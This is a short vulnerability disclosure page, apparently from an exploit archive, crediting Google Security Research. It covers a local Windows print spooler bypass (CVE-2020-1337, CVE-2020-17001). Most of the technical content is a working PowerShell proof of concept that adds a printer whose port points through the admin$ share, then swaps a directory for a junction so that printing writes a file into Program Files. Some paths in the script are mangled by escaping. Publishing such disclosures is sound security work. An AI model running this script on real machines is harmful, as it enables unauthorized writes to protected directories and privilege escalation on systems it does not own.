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Microsoft Windows Local Spooler Bypass

Microsoft Windows Local Spooler Bypass
Posted Nov 11, 2020
Authored by James Forshaw, Google Security Research

Microsoft Windows suffers from a local spooler bypass vulnerability.

tags | exploit, local, bypass
systems | windows
advisories | CVE-2020-1337, CVE-2020-17001
MD5 | 3f3c10cd2d2b0c404a73cddec7d03575

Microsoft Windows Local Spooler Bypass

Change Mirror Download
Windows: Local Spooler CVE-2020-1337 Bypass

One way of exploiting this on Windows 10 2004 is to understand that FileNormalizedNameInformation will fail if the new path after the mount point is not under the root directory of the server. For example the admin$ share points to c:\\windows. If you set the mount point to write to c:\\Program Files then the normalization process will fail and the original string returned. This allows you to write to anywhere outside the windows directory by placing a mount point somewhere like system32\ asks. For example the following script will write the DLL to the root of Program Files.

mkdir \"C:\\windows\\system32\ asks\ est\"
Add-PrinterDriver -Name \"Generic / Text Only\"
Add-PrinterPort -Name \"\\\\localhost\\admin$\\system32\ asks\ est\ est.dll\"
Add-Printer -Name \"PrinterExploit\" -DriverName \"Generic / Text Only\" -PortName \"\\\\localhost\\admin$\\system32\ asks\ est\ est.dll\"
rmdir \"C:\\windows\\system32\ asks\ est\"
New-Item -ItemType Junction -Path \"C:\\windows\\system32\ asks\ est\" -Value \"C:\\Program Files\"
\"TESTTEST\" | Out-Printer -Name \"PrinterExploit\"


Related CVE Numbers: CVE-2020-1337,CVE-2020-17001,CVE-2020-1337.



Found by: forshaw@google.com

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